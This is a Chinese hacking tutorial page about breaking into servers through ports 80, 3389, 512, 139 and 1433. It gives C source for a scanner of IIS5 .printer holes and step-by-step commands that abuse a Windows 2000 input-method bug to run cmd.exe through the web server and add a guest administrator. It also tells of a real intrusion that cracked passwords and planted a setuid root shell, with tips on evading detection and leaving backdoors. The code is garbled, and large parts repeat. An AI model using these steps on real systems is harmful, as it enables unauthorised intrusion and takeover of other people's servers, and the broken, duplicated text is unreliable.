實(shí)例解析80、512、3389等端口的入侵
互聯(lián)網(wǎng) 發(fā)布時(shí)間:2008-10-08 19:36:05 作者:佚名
我要評(píng)論

有很多網(wǎng)站為了安全起見,在WEB Server前面架了防火墻,或者做了TCP/IP過(guò)濾,對(duì)外只開放TCP 80端口。從入侵者角度來(lái)看,要入侵那么從80上跑的CGI入手是比較可行的,當(dāng)然也可以用別的辦法,例如旁敲側(cè)擊,呵呵。從網(wǎng)管角度來(lái)看,一是要保證CGI的安全性,另外網(wǎng)絡(luò)的整體安全
有很多網(wǎng)站為了安全起見,在WEB Server前面架了防火墻,或者做了TCP/IP過(guò)濾,對(duì)外只開放TCP 80端口。從入侵者角度來(lái)看,要入侵那么從80上跑的CGI入手是比較可行的,當(dāng)然也可以用別的辦法,例如旁敲側(cè)擊,呵呵。從網(wǎng)管角度來(lái)看,一是要保證CGI的安全性,另外網(wǎng)絡(luò)的整體安全性也是很重要的。針對(duì)基于80端口入侵、防范而出的CGI掃描器數(shù)不勝數(shù),但基本上原理都一樣。
CGI掃描器原理說(shuō)起來(lái)其實(shí)非常簡(jiǎn)單,可以用四句話來(lái)概括:連接目標(biāo)WEB SERVER;發(fā)送一個(gè)特殊的請(qǐng)求;接收目標(biāo)服務(wù)器返回?cái)?shù)據(jù);根據(jù)返回?cái)?shù)據(jù)判斷目標(biāo)服務(wù)器是否有此CGI漏洞。
當(dāng)管理的服務(wù)器達(dá)到一定數(shù)量的時(shí)候,手工檢測(cè)自己的服務(wù)器是否存在各種各樣的CGI漏洞,那就太消耗時(shí)間和精力了,所以一個(gè)網(wǎng)管手上有個(gè)比較好用的CGI漏洞掃描器還是必要的。OK!今天我們就自己來(lái)動(dòng)手用C寫一個(gè)簡(jiǎn)單的CGI掃描器,幫助自己在日常工作中檢測(cè)服務(wù)器:))
源代碼如下,很多地方我都加了注釋,別嫌我煩哦:))編譯好的程序可以從http://eyas.3322.net/program/cgicheck.exe下載。
/************************************************************************* Module:CGICheck.cpp Author:ey4s Date:2001/5/16說(shuō)明:這是一個(gè)Console下多線程,帶有進(jìn)度顯示的CGI掃描器的模板,更改一下szSign和SendBuff就可以掃描其他CGI漏洞,設(shè)置了連接、發(fā)送、接收超時(shí),速度還可以哦。希望可以幫助到admins檢測(cè)自己的服務(wù)器:))
*************************************************************************/ #i nclude
#define iPort 80//目標(biāo)Web Server端口#define szSign “500 13rnServer: Microsoft-IIS/5.0”//根據(jù)此標(biāo)志來(lái)檢查目標(biāo)是否有漏洞
#pragma comment(lib,“ws2_32.lib”)
/////////////////////////////////////////////////////////////////////////// // //定義&初始化全局變量// char *SendBuff=“GET /NULL.printern”,//發(fā)送的請(qǐng)求buff CurrentTarget[52]=,//存放最后一個(gè)線程將掃描的目標(biāo)turn[4][2]=;//顯示進(jìn)度時(shí)的字符int SendBuffLen=strlen(SendBuff),//發(fā)送的buff長(zhǎng)度iConnTimeout,//TCP Connect TimeOut ii=0,//掃描進(jìn)度iTotal;//服務(wù)器總數(shù)HANDLE hSemaphore=NULL,//信標(biāo)內(nèi)核對(duì)象句柄,用來(lái)控制線程數(shù)量hStdout;//console標(biāo)準(zhǔn)輸出句柄,做進(jìn)度顯示的時(shí)候用的struct timeval timeout;//連接、發(fā)送和接收的超時(shí)值DWORD SleepTime;//每個(gè)一個(gè)線程后等待的時(shí)間/* SleepTime值根據(jù)用戶輸入的線程數(shù)量[ThreadNum]和TCP ConnectTimeOut[CONNTIMEO]來(lái)計(jì)算。確保在CONNTIMEO時(shí)間左右開ThreadNum個(gè)線程。這樣在CONNTIMEO時(shí)間后,所開的線程開始陸續(xù)超時(shí)退出,可以繼續(xù)穩(wěn)定的開線程,可以有效的保證同時(shí)有ThreadNum個(gè)線程在運(yùn)行。
*/ /////////////////////////////////////////////////////////////////////////// void ShowError(char *);//顯示出錯(cuò)信息函數(shù),可以寫完善一些,偶偷懶了:)
BOOL ResetCursor(void);//重置光標(biāo)位置,線程輸出的時(shí)候調(diào)用的DWORD WINAPI ShowProInfo(LPVOID);//顯示進(jìn)度信息DWORD WINAPI scan(LPVOID);//掃描函數(shù)void usage(char *);//幫助函數(shù)/////////////////////////////////////////////////////////////////////////// int main(int argc,char **argv)
{ HANDLE hThread=NULL;//線程句柄DWORD dwThreadID;//線程ID struct sockaddr_in sa;int i,MaxThread;//最大線程數(shù)量WSADATA wsd;long PreviousCount;clock_t start,end;//程序運(yùn)行的起始和結(jié)束時(shí)間double duration;
//檢查用戶輸入?yún)?shù)if(argc!=5)
{ usage(argv[0]);return 1;} //get target range int StartNet=inet_addr(argv[1]);int StopNet=inet_addr(argv[2]);int StartHost=ntohl(StartNet);int StopHost=ntohl(StopNet);//取得線程數(shù)量MaxThread=atoi(argv[3]);//取得conn超時(shí)時(shí)間iConnTimeout=atoi(argv[4]);//檢查參數(shù)合法性if((iConnTimeout>6) || (iConnTimeout500) ||(StopHost { usage(argv[0]);return 1;} //計(jì)算時(shí)間SleepTime=1000*iConnTimeout/MaxThread;//設(shè)置連接超時(shí)值timeout.tv_sec = iConnTimeout;timeout.tv_usec =0;__try { //開始計(jì)時(shí)start=clock();//加載winsock庫(kù)if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)
{ ShowError(“WSAStartup”);__leave;} //創(chuàng)建信標(biāo)內(nèi)核對(duì)象句柄hSemaphore=CreateSemaphore(NULL,MaxThread,MaxThread,NULL);if(hSemaphore==NULL)
{ ShowError(“CreateSemaphore”);__leave;} //取得console標(biāo)準(zhǔn)輸出句柄hStdout=GetStdHandle(STD_OUTPUT_HANDLE);if(hStdout==INVALID_HANDLE_)
{ ShowError(“GetStdHandle”);__leave;} //設(shè)置目標(biāo)總數(shù)iTotal=StopHost-StartHost;//創(chuàng)建進(jìn)度顯示線程hThread=CreateThread(NULL,0,ShowProInfo,NULL,0,&dwThreadID);if(hThread==NULL)
{ ShowError(“1 CreateThread”);__leave;} //關(guān)閉句柄CloseHandle(hThread);//循環(huán)創(chuàng)建掃描線程for(i=StartHost;i
break;} else { k=j%4;printf(“%-15s %s [%d/%d] %s %%%0.3g”,CurrentTarget,turn[k],ii,iTotal,turn[k],m);} }//end of for return 0;} /////////////////////////////////////////////////////////////////////////// // //掃描函數(shù)// DWORD WINAPI scan(LPVOID lp)
{ int i=(int)lp,iErr;struct sockaddr_in server;SOCKET s=INVALID_SOCKET;char RecvBuff[1024]=,*ptr;int RecvBuffLen=sizeof(RecvBuff);u_long ul=1;//初始化為為非0值fd_set r,w;
//create socket s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);if(s==INVALID_SOCKET)
{ printf(“nCreate socket failed:%d”,GetLastError());ExitProcess(1);} //fill the addr struct server.sin_family=AF_INET;server.sin_port=htons(iPort);server.sin_addr.S_un.S_addr=htonl(i);__try { //設(shè)置socket為非鎖定模式,ul為0值的話,那么soocket將被設(shè)置為鎖定模式iErr=ioctlsocket(s,F(xiàn)IONBIO,(unsigned long*)&ul);if(iErr==SOCKET_ERROR )
{ ResetCursor();ShowError(“ioctlsocket”);ExitProcess(1);} //printf(“n%X ioctl ok.strat conn”,i);//connect to target connect(s,(struct sockaddr *)&server,sizeof(server));//printf(“n%X conn return,start select w”,i);//設(shè)置select參數(shù)FD_ZERO(&w);FD_SET(s, &w);//等待connect成功&socket可寫iErr=select(0, 0, &w, 0, &timeout);//printf(“n%X select w return %d”,i,iErr);//等待返回后,socket仍不可寫則退出if((iErr==SOCKET_ERROR) || (iErr==0))
{ //printf(“n%X select return w err,exit”,i);__leave;} //socket可寫則繼續(xù)else { //send buff to target //printf(“n%X send”,i);iErr=send(s,SendBuff,SendBuffLen,0);//printf(“n%X send return”,i);if(iErr==SOCKET_ERROR)
__leave;} //等待socket可讀FD_ZERO(&r);FD_SET(s, &r);//printf(“n%X start select r”,i);iErr=select(0, &r, 0, 0, &timeout);//printf(“n%X select r return %d”,i,iErr);if((iErr==SOCKET_ERROR) || (iErr==0))
{ //printf(“n%X select r err,exit”,i);__leave;} else { //recv buff from target //printf(“n%X start recv”,i);iErr=recv(s,RecvBuff,RecvBuffLen,0);//printf(“n%X recv ret”,i);if(iErr==SOCKET_ERROR)
__leave;} //verify buff ptr=strstr(RecvBuff,szSign);if(ptr!=NULL)
{ //線程輸出前要先調(diào)用ResetCursor函數(shù)ResetCursor();//輸出信息后務(wù)必加一個(gè)以上換行符號(hào),輸出前請(qǐng)別加換行符號(hào),以免顯示混亂printf(“[%-15s] has .printer mapped.
n",inet_ntoa(server.sin_addr));
} __finally { if(!ReleaseSemaphore(hSemaphore,1,NULL))
ShowError(“thread ReleaseSemaphore failed”);closesocket(s);} return 0;} /////////////////////////////////////////////////////////////////////////// void usage(char *proname)
{ printf(“n%s v0.1 only can find IIS5 .Printer mapped”“nPower by ey4s 2001.5.20”“nhttp://www.patching.net”“nnUsage:%s ”“nnNotice”“n StartIP StopIP ==>Don't forgot StopIP must large than StartIP ”“n ThreadNum ==>Thread number,please input between 1-500”“n CONNTIMEO ==>TCP connect timeout,please input between 2-6”“nnExample”“n %s 192.168.0.0 192.168.255.255 200 2”,proname,proname,proname);}程序在VC 6.0上編譯通過(guò),在windows2000上運(yùn)行良好:)
3389端口的入侵
由于微軟對(duì)中國(guó)產(chǎn)品不付責(zé)任的態(tài)度,使得安裝了終端服務(wù)和全拼的w2k服務(wù)器存在著遠(yuǎn)程登陸并能獲取超級(jí)用戶權(quán)限的嚴(yán)重漏洞。
其過(guò)程如下:
1.掃描3389 port終端服務(wù)默認(rèn);2.用終端客戶端程序進(jìn)行連接;3.按ctrl shift調(diào)出全拼輸入法(其他似乎不行),點(diǎn)鼠標(biāo)右鍵(如果其幫助菜單發(fā)灰,就趕快趕下家吧,人家打補(bǔ)丁了),點(diǎn)幫助,點(diǎn)輸入法入門;4.在“選項(xiàng)”菜單上點(diǎn)右鍵——>跳轉(zhuǎn)到URL“,輸入:c:winntsystem32cmd.exe.(如果不能確定NT系統(tǒng)目錄,則輸入:c:或d:……進(jìn)行查找確定);5.選擇”保存到磁盤“選擇目錄:c:inetpubs,因?qū)嶋H上是對(duì)方服務(wù)器上文件自身的復(fù)制操作,所以這個(gè)過(guò)程很快就會(huì)完成;6.打開IE,輸入:http://ip/s/cmd.exe?/c dir怎么樣?有cmd.exe文件了吧?這我們就完成了第一步;7.http://ip/s/cmd.exe?/c echo net user guest /active:yes>go.bat 8.http://ip/s/cmd.exe?/c echo net user guest elise》go.bat 9.http://ip/s/cmd.exe?/c echo net localgroup administrators /add guest》go.bat 10.http://ip/s/cmd.exe?/c type go.bat看看我們的批文件內(nèi)容是否如下:
net user guest /active:yes net user guest elise net localgroup administrators /add guest 11.在“選項(xiàng)”菜單上點(diǎn)右鍵——>跳轉(zhuǎn)到URL“,輸入:c:inetpubsgo.bat ——>在磁盤當(dāng)前位置執(zhí)行;12.呵呵,大功告成啦,這樣我們就激活了服務(wù)器的geust帳戶,密碼為:elise,超級(jí)用戶呢!(我喜歡guest而不是建立新帳戶,這樣似乎不易被發(fā)現(xiàn)些),這樣你就可用IPC$連接,想怎樣做就怎樣做了,當(dāng)然,你也可用guest直接登陸到他的服務(wù)器,到他機(jī)器上去跳舞吧:-)
注意事項(xiàng):1.當(dāng)你用終端客戶端程序登陸到他的服務(wù)器時(shí),你的所有操作不會(huì)在他的機(jī)器上反應(yīng)出來(lái),但如果他正打開了終端服務(wù)管理器,你就慘了了:(這時(shí)他能看到你所打開的進(jìn)程id、程序映象,你的ip及機(jī)器名,并能發(fā)消息給你!
2.當(dāng)你連接時(shí),會(huì)加重對(duì)方服務(wù)器的負(fù)荷,非常容易造成對(duì)方死機(jī)和斷線,所以你的操作快點(diǎn)為妙。
3.盡快做好后門,暫時(shí)不要上傳任何程序,一是防止斷線,二是防止對(duì)方打上補(bǔ)丁!
個(gè)人觀點(diǎn):1.在IE下,所擁有的只是iusr_machine權(quán)限,因而,你不要設(shè)想去做越權(quán)的事情,如啟動(dòng)telnet、木馬等;2.url的跳轉(zhuǎn)下,你將擁有超級(jí)用戶的權(quán)限,好好利用吧3.跳轉(zhuǎn)到哪個(gè)目錄下,通常只能查看、執(zhí)行當(dāng)前目錄的文件,不能進(jìn)入到子目錄,如想進(jìn)入,再跳一次吧!:)
4.此法似乎與對(duì)方的防火墻無(wú)關(guān)哦!
5.據(jù)本人實(shí)際操作,發(fā)現(xiàn)極易斷線,但應(yīng)與占用服務(wù)器資源無(wú)關(guān)。對(duì)方是384M RAM PIII,是靜態(tài)IP,主要是做數(shù)據(jù)庫(kù)服務(wù)器,RAID硬盤,SCSI CD ROM,開機(jī)18天了,02:00進(jìn)去時(shí),仍時(shí)常吊線。
堵漏辦法:1.打補(bǔ)丁;2.刪掉全拼輸入法,用標(biāo)準(zhǔn)就成了嘛^_^;3.服務(wù)中關(guān)掉:Terminal Services,服務(wù)名稱:TermService,對(duì)應(yīng)程序名:system32termsrv.exe;
512端口入侵
已經(jīng)是第六十幾天了,我的Celeron 533仍不知疲倦的跑著JOHN……我是無(wú)意中注意到這個(gè)網(wǎng)站的,當(dāng)時(shí)只是想看一下,方法是各位大蝦都會(huì)的FINGER,然后猜用戶口令進(jìn)去的。進(jìn)去之后PASSWD也沒(méi)有SHADOWN,直接就可以看到,該系統(tǒng)用的是Digital unix系統(tǒng),從PASSWD看得出里面的用戶只有兩個(gè)組:root和users,我猜中的就是一users級(jí)別的,發(fā)現(xiàn)這個(gè)級(jí)別的用戶幾乎沒(méi)有什么權(quán)限,TELNET上去后發(fā)現(xiàn)/USR/USERS/XXX是各用戶的HOME,而它們的屬性全是drwx——,也就是說(shuō)這里的用戶是互不信任的關(guān)系(這一點(diǎn)大家在各免費(fèi)主頁(yè)服務(wù)器上經(jīng)??梢钥吹剑磥?lái)猜出再多用戶級(jí)口令也沒(méi)有用的。
root級(jí)的用戶只有兩名:root和shut.root我用john已跑了60多天,顯然不可能再跑出來(lái)了,但幸運(yùn)的是shut口令已跑出來(lái)了。我毫不猶豫的telnet上去——然后,網(wǎng)站就關(guān)閉了!@#~!#^%,我真笨,怎么沒(méi)想到shut口令是干什么的?
網(wǎng)站很快就又開啟了,我發(fā)現(xiàn)shut口令還是沒(méi)改!這個(gè)網(wǎng)管是怎么當(dāng)?shù)模到y(tǒng)關(guān)了也不查一下原因!很顯然,這個(gè)網(wǎng)站上只有root是有水平的,但他與服務(wù)器可能不在同地,對(duì)于開、關(guān)機(jī)之類的事情不能直接操縱,與是給當(dāng)?shù)氐牟僮鲉T一個(gè)root級(jí)帳號(hào),然后在。profile文件中做了一個(gè)shell,使得帳號(hào)一登錄就自動(dòng)關(guān)系統(tǒng)。看看系統(tǒng)這么周密的設(shè)計(jì),我想root設(shè)計(jì)這個(gè)shell時(shí)絕對(duì)關(guān)掉了path,所以我不打算在優(yōu)先的path路徑中放一同名的shell來(lái)阻止它。我如果能改掉這個(gè)文件再telnet上去不就是root級(jí)了嗎?
但是shut的HOME目錄是drwx——,別的帳號(hào)根本進(jìn)不去。沒(méi)關(guān)系,我試試ftp,530 user shut access denined(被拒絕),users組可以ftp上去同樣進(jìn)不了shut目錄。而且該網(wǎng)站根本就沒(méi)有開WWW服務(wù),怎么辦?為這個(gè)網(wǎng)站陸陸續(xù)續(xù)研究了許久,我總是樂(lè)觀的鼓勵(lì)自己,“起碼我已經(jīng)知道幾十種進(jìn)不去的方法了……”。“真正的黑客從來(lái)都是把困難當(dāng)作樂(lè)趣,敞開的大門你請(qǐng)他進(jìn)他都不進(jìn)呢!”如此六十多天過(guò)去了,只到有一天……
我再一次用haktek掃描該網(wǎng)站,結(jié)果如下:Port 21 found. Desc='ftp' Port 23 found. Desc='telnet' Port 25 found. Desc='smtp' Port 79 found. Desc='finger' Port 111 found. Desc='portmap/sunrpc' Port 512 found. Desc='biff/exec' Port 513 found. Desc='login/who' Port 514 found. Desc='shell/syslog' Port 515 found. Desc='printer' Port 1024 found. Port 1025 found. Port 1526 found. Port 1528 found.
一個(gè)以前一直沒(méi)有注意的Port 512引起我的注意,這個(gè)端口是什么時(shí)候開的?要知道它可以讓用戶不登錄就可以運(yùn)行服務(wù)器上的命令?。?!趕緊試試!
打開一個(gè)軟件winrsh32,填入user和password,在命令中填上ls -la,點(diǎn)運(yùn)行哇,文件全列出來(lái)了,剩下的就簡(jiǎn)單了:cp /bin/sh /tmp/.temp;chown root /tmp/.temp;chmod 4755 /tmp/.temp.然后再用那個(gè)破掉的user級(jí)帳號(hào)telnet,cd/tmp;。temp.當(dāng)#映入眼簾時(shí),心卻往下一沉,我突然感到一絲落寂……可惜這個(gè)root一世小心,卻毀在了讓shut可以使用512端口上??磥?lái)破壞一個(gè)世界總是比建立一個(gè)世界簡(jiǎn)單……
39端口入侵139端口入侵139端口的入侵,主要是通過(guò)建立空連接,而獲得用戶名和共享名,接著用字典法或窮舉法來(lái)猜測(cè)ADMINISTRATORS的密碼,這樣可獲得最高權(quán)限。
解決方法:1、禁止匿名共享。
2、禁止管理共享。
1433端口入侵1433端口入侵1433端口的入侵,主要是利用MS SQL SERVER默認(rèn)sa的密碼是空,通過(guò)遠(yuǎn)程執(zhí)行命令而達(dá)到目的,或通過(guò)窮舉法猜測(cè)密碼
CGI掃描器原理說(shuō)起來(lái)其實(shí)非常簡(jiǎn)單,可以用四句話來(lái)概括:連接目標(biāo)WEB SERVER;發(fā)送一個(gè)特殊的請(qǐng)求;接收目標(biāo)服務(wù)器返回?cái)?shù)據(jù);根據(jù)返回?cái)?shù)據(jù)判斷目標(biāo)服務(wù)器是否有此CGI漏洞。
當(dāng)管理的服務(wù)器達(dá)到一定數(shù)量的時(shí)候,手工檢測(cè)自己的服務(wù)器是否存在各種各樣的CGI漏洞,那就太消耗時(shí)間和精力了,所以一個(gè)網(wǎng)管手上有個(gè)比較好用的CGI漏洞掃描器還是必要的。OK!今天我們就自己來(lái)動(dòng)手用C寫一個(gè)簡(jiǎn)單的CGI掃描器,幫助自己在日常工作中檢測(cè)服務(wù)器:))
源代碼如下,很多地方我都加了注釋,別嫌我煩哦:))編譯好的程序可以從http://eyas.3322.net/program/cgicheck.exe下載。
/************************************************************************* Module:CGICheck.cpp Author:ey4s Date:2001/5/16說(shuō)明:這是一個(gè)Console下多線程,帶有進(jìn)度顯示的CGI掃描器的模板,更改一下szSign和SendBuff就可以掃描其他CGI漏洞,設(shè)置了連接、發(fā)送、接收超時(shí),速度還可以哦。希望可以幫助到admins檢測(cè)自己的服務(wù)器:))
*************************************************************************/ #i nclude
#define iPort 80//目標(biāo)Web Server端口#define szSign “500 13rnServer: Microsoft-IIS/5.0”//根據(jù)此標(biāo)志來(lái)檢查目標(biāo)是否有漏洞
#pragma comment(lib,“ws2_32.lib”)
/////////////////////////////////////////////////////////////////////////// // //定義&初始化全局變量// char *SendBuff=“GET /NULL.printern”,//發(fā)送的請(qǐng)求buff CurrentTarget[52]=,//存放最后一個(gè)線程將掃描的目標(biāo)turn[4][2]=;//顯示進(jìn)度時(shí)的字符int SendBuffLen=strlen(SendBuff),//發(fā)送的buff長(zhǎng)度iConnTimeout,//TCP Connect TimeOut ii=0,//掃描進(jìn)度iTotal;//服務(wù)器總數(shù)HANDLE hSemaphore=NULL,//信標(biāo)內(nèi)核對(duì)象句柄,用來(lái)控制線程數(shù)量hStdout;//console標(biāo)準(zhǔn)輸出句柄,做進(jìn)度顯示的時(shí)候用的struct timeval timeout;//連接、發(fā)送和接收的超時(shí)值DWORD SleepTime;//每個(gè)一個(gè)線程后等待的時(shí)間/* SleepTime值根據(jù)用戶輸入的線程數(shù)量[ThreadNum]和TCP ConnectTimeOut[CONNTIMEO]來(lái)計(jì)算。確保在CONNTIMEO時(shí)間左右開ThreadNum個(gè)線程。這樣在CONNTIMEO時(shí)間后,所開的線程開始陸續(xù)超時(shí)退出,可以繼續(xù)穩(wěn)定的開線程,可以有效的保證同時(shí)有ThreadNum個(gè)線程在運(yùn)行。
*/ /////////////////////////////////////////////////////////////////////////// void ShowError(char *);//顯示出錯(cuò)信息函數(shù),可以寫完善一些,偶偷懶了:)
BOOL ResetCursor(void);//重置光標(biāo)位置,線程輸出的時(shí)候調(diào)用的DWORD WINAPI ShowProInfo(LPVOID);//顯示進(jìn)度信息DWORD WINAPI scan(LPVOID);//掃描函數(shù)void usage(char *);//幫助函數(shù)/////////////////////////////////////////////////////////////////////////// int main(int argc,char **argv)
{ HANDLE hThread=NULL;//線程句柄DWORD dwThreadID;//線程ID struct sockaddr_in sa;int i,MaxThread;//最大線程數(shù)量WSADATA wsd;long PreviousCount;clock_t start,end;//程序運(yùn)行的起始和結(jié)束時(shí)間double duration;
//檢查用戶輸入?yún)?shù)if(argc!=5)
{ usage(argv[0]);return 1;} //get target range int StartNet=inet_addr(argv[1]);int StopNet=inet_addr(argv[2]);int StartHost=ntohl(StartNet);int StopHost=ntohl(StopNet);//取得線程數(shù)量MaxThread=atoi(argv[3]);//取得conn超時(shí)時(shí)間iConnTimeout=atoi(argv[4]);//檢查參數(shù)合法性if((iConnTimeout>6) || (iConnTimeout500) ||(StopHost { usage(argv[0]);return 1;} //計(jì)算時(shí)間SleepTime=1000*iConnTimeout/MaxThread;//設(shè)置連接超時(shí)值timeout.tv_sec = iConnTimeout;timeout.tv_usec =0;__try { //開始計(jì)時(shí)start=clock();//加載winsock庫(kù)if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)
{ ShowError(“WSAStartup”);__leave;} //創(chuàng)建信標(biāo)內(nèi)核對(duì)象句柄hSemaphore=CreateSemaphore(NULL,MaxThread,MaxThread,NULL);if(hSemaphore==NULL)
{ ShowError(“CreateSemaphore”);__leave;} //取得console標(biāo)準(zhǔn)輸出句柄hStdout=GetStdHandle(STD_OUTPUT_HANDLE);if(hStdout==INVALID_HANDLE_)
{ ShowError(“GetStdHandle”);__leave;} //設(shè)置目標(biāo)總數(shù)iTotal=StopHost-StartHost;//創(chuàng)建進(jìn)度顯示線程hThread=CreateThread(NULL,0,ShowProInfo,NULL,0,&dwThreadID);if(hThread==NULL)
{ ShowError(“1 CreateThread”);__leave;} //關(guān)閉句柄CloseHandle(hThread);//循環(huán)創(chuàng)建掃描線程for(i=StartHost;i
break;} else { k=j%4;printf(“%-15s %s [%d/%d] %s %%%0.3g”,CurrentTarget,turn[k],ii,iTotal,turn[k],m);} }//end of for return 0;} /////////////////////////////////////////////////////////////////////////// // //掃描函數(shù)// DWORD WINAPI scan(LPVOID lp)
{ int i=(int)lp,iErr;struct sockaddr_in server;SOCKET s=INVALID_SOCKET;char RecvBuff[1024]=,*ptr;int RecvBuffLen=sizeof(RecvBuff);u_long ul=1;//初始化為為非0值fd_set r,w;
//create socket s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);if(s==INVALID_SOCKET)
{ printf(“nCreate socket failed:%d”,GetLastError());ExitProcess(1);} //fill the addr struct server.sin_family=AF_INET;server.sin_port=htons(iPort);server.sin_addr.S_un.S_addr=htonl(i);__try { //設(shè)置socket為非鎖定模式,ul為0值的話,那么soocket將被設(shè)置為鎖定模式iErr=ioctlsocket(s,F(xiàn)IONBIO,(unsigned long*)&ul);if(iErr==SOCKET_ERROR )
{ ResetCursor();ShowError(“ioctlsocket”);ExitProcess(1);} //printf(“n%X ioctl ok.strat conn”,i);//connect to target connect(s,(struct sockaddr *)&server,sizeof(server));//printf(“n%X conn return,start select w”,i);//設(shè)置select參數(shù)FD_ZERO(&w);FD_SET(s, &w);//等待connect成功&socket可寫iErr=select(0, 0, &w, 0, &timeout);//printf(“n%X select w return %d”,i,iErr);//等待返回后,socket仍不可寫則退出if((iErr==SOCKET_ERROR) || (iErr==0))
{ //printf(“n%X select return w err,exit”,i);__leave;} //socket可寫則繼續(xù)else { //send buff to target //printf(“n%X send”,i);iErr=send(s,SendBuff,SendBuffLen,0);//printf(“n%X send return”,i);if(iErr==SOCKET_ERROR)
__leave;} //等待socket可讀FD_ZERO(&r);FD_SET(s, &r);//printf(“n%X start select r”,i);iErr=select(0, &r, 0, 0, &timeout);//printf(“n%X select r return %d”,i,iErr);if((iErr==SOCKET_ERROR) || (iErr==0))
{ //printf(“n%X select r err,exit”,i);__leave;} else { //recv buff from target //printf(“n%X start recv”,i);iErr=recv(s,RecvBuff,RecvBuffLen,0);//printf(“n%X recv ret”,i);if(iErr==SOCKET_ERROR)
__leave;} //verify buff ptr=strstr(RecvBuff,szSign);if(ptr!=NULL)
{ //線程輸出前要先調(diào)用ResetCursor函數(shù)ResetCursor();//輸出信息后務(wù)必加一個(gè)以上換行符號(hào),輸出前請(qǐng)別加換行符號(hào),以免顯示混亂printf(“[%-15s] has .printer mapped.
n",inet_ntoa(server.sin_addr));
} __finally { if(!ReleaseSemaphore(hSemaphore,1,NULL))
ShowError(“thread ReleaseSemaphore failed”);closesocket(s);} return 0;} /////////////////////////////////////////////////////////////////////////// void usage(char *proname)
{ printf(“n%s v0.1 only can find IIS5 .Printer mapped”“nPower by ey4s 2001.5.20”“nhttp://www.patching.net”“nnUsage:%s ”“nnNotice”“n StartIP StopIP ==>Don't forgot StopIP must large than StartIP ”“n ThreadNum ==>Thread number,please input between 1-500”“n CONNTIMEO ==>TCP connect timeout,please input between 2-6”“nnExample”“n %s 192.168.0.0 192.168.255.255 200 2”,proname,proname,proname);}程序在VC 6.0上編譯通過(guò),在windows2000上運(yùn)行良好:)
3389端口的入侵
由于微軟對(duì)中國(guó)產(chǎn)品不付責(zé)任的態(tài)度,使得安裝了終端服務(wù)和全拼的w2k服務(wù)器存在著遠(yuǎn)程登陸并能獲取超級(jí)用戶權(quán)限的嚴(yán)重漏洞。
其過(guò)程如下:
1.掃描3389 port終端服務(wù)默認(rèn);2.用終端客戶端程序進(jìn)行連接;3.按ctrl shift調(diào)出全拼輸入法(其他似乎不行),點(diǎn)鼠標(biāo)右鍵(如果其幫助菜單發(fā)灰,就趕快趕下家吧,人家打補(bǔ)丁了),點(diǎn)幫助,點(diǎn)輸入法入門;4.在“選項(xiàng)”菜單上點(diǎn)右鍵——>跳轉(zhuǎn)到URL“,輸入:c:winntsystem32cmd.exe.(如果不能確定NT系統(tǒng)目錄,則輸入:c:或d:……進(jìn)行查找確定);5.選擇”保存到磁盤“選擇目錄:c:inetpubs,因?qū)嶋H上是對(duì)方服務(wù)器上文件自身的復(fù)制操作,所以這個(gè)過(guò)程很快就會(huì)完成;6.打開IE,輸入:http://ip/s/cmd.exe?/c dir怎么樣?有cmd.exe文件了吧?這我們就完成了第一步;7.http://ip/s/cmd.exe?/c echo net user guest /active:yes>go.bat 8.http://ip/s/cmd.exe?/c echo net user guest elise》go.bat 9.http://ip/s/cmd.exe?/c echo net localgroup administrators /add guest》go.bat 10.http://ip/s/cmd.exe?/c type go.bat看看我們的批文件內(nèi)容是否如下:
net user guest /active:yes net user guest elise net localgroup administrators /add guest 11.在“選項(xiàng)”菜單上點(diǎn)右鍵——>跳轉(zhuǎn)到URL“,輸入:c:inetpubsgo.bat ——>在磁盤當(dāng)前位置執(zhí)行;12.呵呵,大功告成啦,這樣我們就激活了服務(wù)器的geust帳戶,密碼為:elise,超級(jí)用戶呢!(我喜歡guest而不是建立新帳戶,這樣似乎不易被發(fā)現(xiàn)些),這樣你就可用IPC$連接,想怎樣做就怎樣做了,當(dāng)然,你也可用guest直接登陸到他的服務(wù)器,到他機(jī)器上去跳舞吧:-)
注意事項(xiàng):1.當(dāng)你用終端客戶端程序登陸到他的服務(wù)器時(shí),你的所有操作不會(huì)在他的機(jī)器上反應(yīng)出來(lái),但如果他正打開了終端服務(wù)管理器,你就慘了了:(這時(shí)他能看到你所打開的進(jìn)程id、程序映象,你的ip及機(jī)器名,并能發(fā)消息給你!
2.當(dāng)你連接時(shí),會(huì)加重對(duì)方服務(wù)器的負(fù)荷,非常容易造成對(duì)方死機(jī)和斷線,所以你的操作快點(diǎn)為妙。
3.盡快做好后門,暫時(shí)不要上傳任何程序,一是防止斷線,二是防止對(duì)方打上補(bǔ)丁!
個(gè)人觀點(diǎn):1.在IE下,所擁有的只是iusr_machine權(quán)限,因而,你不要設(shè)想去做越權(quán)的事情,如啟動(dòng)telnet、木馬等;2.url的跳轉(zhuǎn)下,你將擁有超級(jí)用戶的權(quán)限,好好利用吧3.跳轉(zhuǎn)到哪個(gè)目錄下,通常只能查看、執(zhí)行當(dāng)前目錄的文件,不能進(jìn)入到子目錄,如想進(jìn)入,再跳一次吧!:)
4.此法似乎與對(duì)方的防火墻無(wú)關(guān)哦!
5.據(jù)本人實(shí)際操作,發(fā)現(xiàn)極易斷線,但應(yīng)與占用服務(wù)器資源無(wú)關(guān)。對(duì)方是384M RAM PIII,是靜態(tài)IP,主要是做數(shù)據(jù)庫(kù)服務(wù)器,RAID硬盤,SCSI CD ROM,開機(jī)18天了,02:00進(jìn)去時(shí),仍時(shí)常吊線。
堵漏辦法:1.打補(bǔ)丁;2.刪掉全拼輸入法,用標(biāo)準(zhǔn)就成了嘛^_^;3.服務(wù)中關(guān)掉:Terminal Services,服務(wù)名稱:TermService,對(duì)應(yīng)程序名:system32termsrv.exe;
512端口入侵
